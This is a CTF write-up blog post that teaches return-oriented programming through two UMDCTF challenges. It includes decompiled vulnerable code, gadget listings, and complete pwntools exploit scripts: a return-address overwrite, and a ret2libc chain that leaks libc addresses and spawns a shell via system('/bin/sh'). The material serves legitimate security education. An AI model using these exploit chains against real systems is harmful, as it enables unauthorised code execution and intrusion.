Return Oriented Programming And Umdctf
Intro to Return-Oriented Programming and UMDCTF Challenge Writeups.
Overview
This is my first pwn related post that goes over the basics of return-oriented programming with two challenges from UMDCTF.
Return-Oriented Programming
Intro to ROP
Return-Oriented programming is an exploitation technique used to execute code on a target system. This technique is required when no memory regions exist that are both writeable and executable.
Basic buffer overflow vulnerabilities allow you to input more characters than the maximum size of the buffer, which allows you to not only fill the buffer but also overwrite any data found beyond it. Typically this includes a return address which can be controlled to point to shellcode if the stack is both writable and executable or, in the case of return-oriented programming, a gadget.
Gadgets are small snippets of assembly code that can be chained together, if you have control of the stack, to lead to a desierable result. Overwriting the return address with a gadget allows you to control what happens next in the program. In some CTF challenges this may be as simple as calling a function that prints the flag. In more difficult challenges you are required to chain together (ROP Chain) available gadgets to exploit the program. Each gadget will contain one or more instructions followed by ret
.
How it’s Exploited
At the end of every function exists a ret
instruction which takes the address on top of the stack at that point in time and tries to return it. Lets pretend that our stack contains a series of A’s and then 4 B’s that represent a return address.
| AAAAAAAAAAAAAAAAAAAA | BBBB |
If we can control this return address BBBB
then we can make it point to a gadget which can lead to more control. Using an example of a basic gadget pop rdi ; ret
we can see that the instruction pops rdi off the stack and then returns. We can call this gadget in our buffer overflow to use it. This gadget starts by popping a value off the stack and saving it in RDI before returning to the address found at the new stack pointer. The important point here is that the top of the stack is found in the moment and is represented by a pointer to the address. Assume BBBB
represents the memory address of the gadget and the stack looks like the following.
| AAAAAAAAAAAAAAAAAAAA | BBBB | CCCC | DDDD |
The first function return will use the address of BBBB
which in this case is the gadget. That instruction moves the stack pointer from BBBB
to CCCC
. When the gadget is called the first instruction is pop rdi
. This pops the top value on the stack off which in this case is CCCC
and saves it in RDI. The stack pointer moves once again and is now pointing to DDDD
. The final instruction in the gadget is ret
. This can be used to point at main again, another gadget (rop chain) or left empty based on what you put in DDDD.
You can use this knowledge to exploit programs that don’t contain win functions by using existing sections of code or strings that exist within c libraries. This will be covered in the second challenge writeup.
UMDCTF Challenges
jumpnoteasy
Jumpnoteasy is a challenge that contains a win function that we can call to read the flag. I start each challenge by running file and checksec to get some important information on the binary.
> file JNE
JNE: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=0f0f01637cf4e05769a07998015f0f60dd283d90, for GNU/Linux 3.2.0, not stripped
> checksec JNE
[*] '/root/CTF/Pwn/UMDCTF/jumpnoteasy/JNE'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
The file command gives us basic information on the file. We see that it is 64bit and x86-64. Checksec is a better command that gives us information on the type of attack we need to do. RELRO is a protection that makes the global offset table read only. In this case partial relro means that whilst the GOT table is read only, a Procedure Linkage Table dependent GOT is still writeable. NX stands for no execute and shows that no memory is both writeable and executable. PIE stands for Position Independent Executable. A No Pie application as we have here will tell the loader what virtual memory addresses to use and these will remain static.
Decompiling the binary gives us three functions to play with.
Main:
int __cdecl main(int argc, const char **argv, const char **envp)
{
setup(argc, argv, envp);
puts("Welcome to the space shuttle! Get ready for an adventure!");
if ( (unsigned int)jump() == -1 )
printf("System crashing!");
return 0;
}
Jump:
__int64 jump()
{
char v1[64]; // [rsp+0h] [rbp-40h] BYREF
puts("Where do you want to go?");
gets(v1);
return 0xFFFFFFFFLL;
}
Get_flag:
int get_flag()
{
char ptr[136]; // [rsp+0h] [rbp-90h] BYREF
FILE *stream; // [rsp+88h] [rbp-8h]
stream = fopen("flag", "r");
if ( !stream )
{
puts("Error when opening the file!");
exit(1);
}
fread(ptr, 0x7FuLL, 1uLL, stream);
puts(ptr);
return fclose(stream);
}
In this program, main calls jump which allocates 64 bytes to a buffer and uses gets to take in any user input. We know that we will need to overflow this buffer and the return address to make it point to the address of get_flag. The address of any function in a program can be found by using info functions
from within GDB.
Our exploit using pwntools will overflow the buffer with 72 characters and then the address of get_flag.
from pwn import *
#p = connect('chals5.umdctf.io', 7003)
p = process('./JNE')
payload = b'A'*72
payload += p64(0x000000000040125d)
p.recvuntil('go?')
p.sendline(payload)
print(p.recvall())
[+] Starting local process './JNE': pid 3286
[+] Receiving all data: Done (17B)
[*] Stopped process './JNE' (pid 3286)
b'\nflag{testflag}\n\n'
jumpnotworking
Jumpnotworking is a much more involved challenge without a win function to get the flag. The main and jump functions are identical to jumpnoteasy so we just need to figure out the ROP chain to exploit it.
This type of challenge requires the attacker to leak the address of a function within a c library which can be used as an offset to calculate the memory locations of a system function and the string /bin/sh
.
Once again we will use file and checksec to investigate the binary.
> file JNW
JNW: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=046485b485788565d886864d24d5519544da1a25, for GNU/Linux 3.2.0, not stripped
> checksec JNW
[*] '/root/CTF/Pwn/UMDCTF/jumpnoteasy/JNE'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
This file is identical to the previous one in these aspects.
When finding availabile gadgets we use the ROPgadget
tool to show us all the options. I have only included a block of gadgets that may have some importance in this challenge. In this challenge we only need the pop rdi ; ret
gadget which we will use to return a system command with the value of /bin/sh
.
> ROPgadget --binary JNW
0x00000000004010df : nop ; endbr64 ; ret
0x00000000004011da : nop ; pop rbp ; ret
0x000000000040110f : nop ; ret
0x000000000040118c : nop dword ptr [rax] ; endbr64 ; jmp 0x401120
0x0000000000401106 : or dword ptr [rdi + 0x404048], edi ; jmp rax
0x0000000000401178 : or ebp, dword ptr [rdi] ; add byte ptr [rax], al ; add dword ptr [rbp - 0x3d], ebx ; nop ; ret
0x00000000004012bc : pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret
0x00000000004012be : pop r13 ; pop r14 ; pop r15 ; ret
0x00000000004012c0 : pop r14 ; pop r15 ; ret
0x00000000004012c2 : pop r15 ; ret
0x00000000004012bb : pop rbp ; pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret
0x00000000004012bf : pop rbp ; pop r14 ; pop r15 ; ret
0x000000000040117d : pop rbp ; ret
0x00000000004012c3 : pop rdi ; ret
0x00000000004012c1 : pop rsi ; pop r15 ; ret
0x00000000004012bd : pop rsp ; pop r13 ; pop r14 ; pop r15 ; ret
0x000000000040101a : ret
We can start writing a payload with pwntools that will help us to leak a libc address that we need for the final exploit. A function can often have a similar memory address in multiple libraries so it is a good idea to leak as much as possible to narrow it down. We can see all the available functions with the got
command in GDB.
> got
[0x404018] puts@GLIBC_2.2.5 → 0x401030
[0x404020] setbuf@GLIBC_2.2.5 → 0x401040
[0x404028] printf@GLIBC_2.2.5 → 0x401050
[0x404030] gets@GLIBC_2.2.5 → 0x401060
from pwn import *
# Connect
elf = ELF('./JNW')
p = process('./JNW')
#p = connect('chals5.umdctf.io', 7004)
# Addresses
main_addr = elf.symbols['main']
puts_plt = elf.plt['puts']
puts_got = elf.got['puts']
setbuf_got = elf.got['setbuf']
# Gadgets
pop_rdi = 0x0000000004012c3 # pop rdi ; ret
# Payload for Leak 1
# This payload calls the pop rdi gadget and saves the address of puts_got into the register. We use puts_plt to print it out so we can read it to use later on. This gets us the leak for the puts function.
payload = b'A'*72
payload += p64(pop_rdi) + p64(puts_got)
payload += p64(puts_plt)
payload += p64(main_addr)
p.sendlineafter('go?\n', payload)
# Leaking the address
leak = int.from_bytes(p.recvn(6), byteorder="little")
# Payload for Leak 2
# This payload calls the pop rdi gadget and saves the address of setbuf_got into the register. We use puts_plt to print it out so we can read it to use later on. This gets us the leak for the setbuf function.
payload = b'A'*72
payload += p64(pop_rdi) + p64(setbuf_got)
payload += p64(puts_plt)
payload += p64(main_addr)
p.sendlineafter('go?\n', payload)
# Leaking the address
leak2 = int.from_bytes(p.recvn(6), byteorder="little")
print(hex(leak))
print(hex(leak2))
This script sends 2 payloads to the program which call the pop rdi ; ret
gadget to print out the libc addresses of puts and setbuf. These addresses can be used on the libc database search tool found at libc.rip
where you can enter the symbol name and corresponding leak address. In this case we are given 4 possible results.
libc6-amd64_2.31-6_i386
libc6_2.31-6_amd64
libc6-amd64_2.31-5_i386
libc6_2.31-5_amd64
We know that our program is amd64 so this gives us 2 options to choose from. I have used version 5 here. When you expand the version you can see a series of other functions and their appropriate offsets in the library. The 2 we need to use are system and binsh. Download the appropriate library and move it into the challenge folder to use in the script.
__libc_start_main_ret 0x26d0a
dup2 0xef710
printf 0x56c90
puts 0x76590
read 0xeee20
setbuf 0x7d4f0
str_bin_sh 0x18a156
system 0x48df0
write 0xeeec0
Going back to the exploit script we can add the final payload that uses these addresses to get the shell. The script calculates the addresses based on offsets and calls system(/bin/sh)
with the gadget.
from pwn import *
# Connect
elf = ELF('./JNW')
libc = ELF('./libc6_2.31-5_amd64.so')
p = process('./JNW')
#p = connect('chals5.umdctf.io', 7004)
# Addresses
main_addr = elf.symbols['main']
puts_plt = elf.plt['puts']
puts_got = elf.got['puts']
setbuf_got = elf.got['setbuf']
# Gadgets
pop_rdi = 0x00000000004012c3 # pop rdi ; ret
# Payload
payload = b'A'*72
payload += p64(pop_rdi) + p64(puts_got)
payload += p64(puts_plt)
payload += p64(main_addr)
p.sendlineafter('go?\n', payload)
# Leaking the address
leak = int.from_bytes(p.recvn(6), byteorder="little")
# Payload
payload = b'A'*72
payload += p64(pop_rdi) + p64(setbuf_got)
payload += p64(puts_plt)
payload += p64(main_addr)
p.sendlineafter('go?\n', payload)
# Leaking the address
leak2 = int.from_bytes(p.recvn(6), byteorder="little")
# Offsets
puts_libc_offset = 0x76590
system_libc_offset = 0x48df0
bin_sh_libc_offset = 0x18a156
# Finding libc base
libc_base = leak - puts_libc_offset
# System and bin/sh addresses
system_addr = libc_base + system_libc_offset
bin_sh = libc_base + bin_sh_libc_offset
# Printing out addresses
log.info(hex(leak))
log.info(hex(leak2))
log.info(hex(libc_base))
log.info(hex(system_addr))
log.info(hex(bin_sh))
# Final Payload
payload = b'A'*72
payload += p64(pop_rdi) + p64(bin_sh)
payload += p64(system_addr)
p.sendlineafter('go?', payload)
p.interactive()
> python3 exploit.py
[*] '/root/CTF/Pwn/UMDCTF/jumpnotworking/JNW'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
[*] '/root/CTF/Pwn/UMDCTF/jumpnotworking/libc6_2.31-5_amd64.so'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
[+] Starting local process './JNW': pid 3259
[*] 0x7f8783b02590
[*] 0x7f8783b094f0
[*] 0x7f8783a8c000
[*] 0x7f8783ad4df0
[*] 0x7f8783c16156
[*] Switching to interactive mode
$ ls
exploit.py JNW libc6_2.31-5_amd64.so